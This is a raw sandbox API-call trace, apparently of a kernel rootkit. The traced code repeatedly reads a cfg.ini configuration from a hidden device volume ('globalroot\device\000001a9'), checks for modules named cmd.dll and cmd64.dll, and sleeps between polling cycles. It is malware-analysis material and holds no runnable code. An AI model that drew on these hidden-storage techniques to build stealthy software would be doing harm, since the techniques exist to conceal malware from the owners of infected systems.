KeEnterCriticalRegion () [0122.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.761] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.761] IdePortDispatch () returned 0x103 [0122.761] KeWaitForMutexObject () returned 0x0 [0122.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.761] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.761] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.761] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.761] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.761] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.761] KeLeaveCriticalRegion () [0122.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.762] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.762] KeEnterCriticalRegion () [0122.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.762] KeLeaveCriticalRegion () [0122.762] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.762] KeEnterCriticalRegion () [0122.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.762] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.762] IdePortDispatch () returned 0x103 [0122.762] KeWaitForMutexObject () returned 0x0 [0122.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.762] KeLeaveCriticalRegion () [0122.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.762] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.762] KeEnterCriticalRegion () [0122.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1c000 [0122.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.762] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.762] IdePortDispatch () returned 0x103 [0122.762] KeWaitForMutexObject () returned 0x0 [0122.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.763] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.763] IdePortDispatch () returned 0x103 [0122.763] KeWaitForMutexObject () returned 0x0 [0122.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.763] KeLeaveCriticalRegion () [0122.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.763] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.763] KeEnterCriticalRegion () [0122.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.763] KeLeaveCriticalRegion () [0122.763] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.764] KeEnterCriticalRegion () [0122.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.764] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.764] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.764] KeLeaveCriticalRegion () [0122.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.764] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.764] KeEnterCriticalRegion () [0122.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.764] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.764] KeLeaveCriticalRegion () [0122.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.764] ReleaseMutex (hMutex=0xf0) returned 1 [0122.764] Sleep (dwMilliseconds=0x124f80) [0122.778] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.778] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.778] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.778] KeEnterCriticalRegion () [0122.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.778] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.778] IdePortDispatch () returned 0x103 [0122.778] KeWaitForMutexObject () returned 0x0 [0122.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.778] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.778] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.778] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.778] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.778] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be76b0 [0122.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] KeLeaveCriticalRegion () [0122.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.778] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.778] KeEnterCriticalRegion () [0122.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] KeLeaveCriticalRegion () [0122.779] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.779] KeEnterCriticalRegion () [0122.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.779] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.779] IdePortDispatch () returned 0x103 [0122.779] KeWaitForMutexObject () returned 0x0 [0122.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.779] KeLeaveCriticalRegion () [0122.779] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.779] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.779] KeEnterCriticalRegion () [0122.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d21000 [0122.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.779] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.779] IdePortDispatch () returned 0x103 [0122.779] KeWaitForMutexObject () returned 0x0 [0122.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.780] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.780] IdePortDispatch () returned 0x103 [0122.780] KeWaitForMutexObject () returned 0x0 [0122.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.780] KeLeaveCriticalRegion () [0122.780] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.780] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.780] KeEnterCriticalRegion () [0122.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.780] KeLeaveCriticalRegion () [0122.780] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.780] KeEnterCriticalRegion () [0122.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.780] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.780] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.781] KeLeaveCriticalRegion () [0122.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.781] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.781] KeEnterCriticalRegion () [0122.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.781] ExFreePoolWithTag (P=0xfffffa8003be76b0, Tag=0x0) [0122.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.781] KeLeaveCriticalRegion () [0122.781] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.781] ReleaseMutex (hMutex=0xf0) returned 1 [0122.781] Sleep (dwMilliseconds=0x124f80) [0122.794] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.794] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.794] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.794] KeEnterCriticalRegion () [0122.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.795] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.795] IdePortDispatch () returned 0x103 [0122.795] KeWaitForMutexObject () returned 0x0 [0122.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.795] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.795] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.795] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.795] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.795] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7d50 [0122.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.795] KeLeaveCriticalRegion () [0122.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.795] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.795] KeEnterCriticalRegion () [0122.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.795] KeLeaveCriticalRegion () [0122.795] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.795] KeEnterCriticalRegion () [0122.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.795] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.795] IdePortDispatch () returned 0x103 [0122.795] KeWaitForMutexObject () returned 0x0 [0122.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.796] KeLeaveCriticalRegion () [0122.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.796] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.796] KeEnterCriticalRegion () [0122.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d26000 [0122.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.796] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.796] IdePortDispatch () returned 0x103 [0122.796] KeWaitForMutexObject () returned 0x0 [0122.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.796] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.796] IdePortDispatch () returned 0x103 [0122.796] KeWaitForMutexObject () returned 0x0 [0122.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.796] KeLeaveCriticalRegion () [0122.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.797] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.797] KeEnterCriticalRegion () [0122.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] KeLeaveCriticalRegion () [0122.797] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.797] KeEnterCriticalRegion () [0122.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.797] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] KeLeaveCriticalRegion () [0122.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.797] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.797] KeEnterCriticalRegion () [0122.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] ExFreePoolWithTag (P=0xfffffa8003be7d50, Tag=0x0) [0122.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.797] KeLeaveCriticalRegion () [0122.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.797] ReleaseMutex (hMutex=0xf0) returned 1 [0122.797] Sleep (dwMilliseconds=0x124f80) [0122.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.813] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.813] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.813] KeEnterCriticalRegion () [0122.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.814] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.814] IdePortDispatch () returned 0x103 [0122.814] KeWaitForMutexObject () returned 0x0 [0122.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.814] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.814] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.814] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.814] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.814] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8fb0 [0122.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.814] KeLeaveCriticalRegion () [0122.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.814] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.814] KeEnterCriticalRegion () [0122.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.814] KeLeaveCriticalRegion () [0122.814] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.814] KeEnterCriticalRegion () [0122.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.814] MmProbeAndLockPages 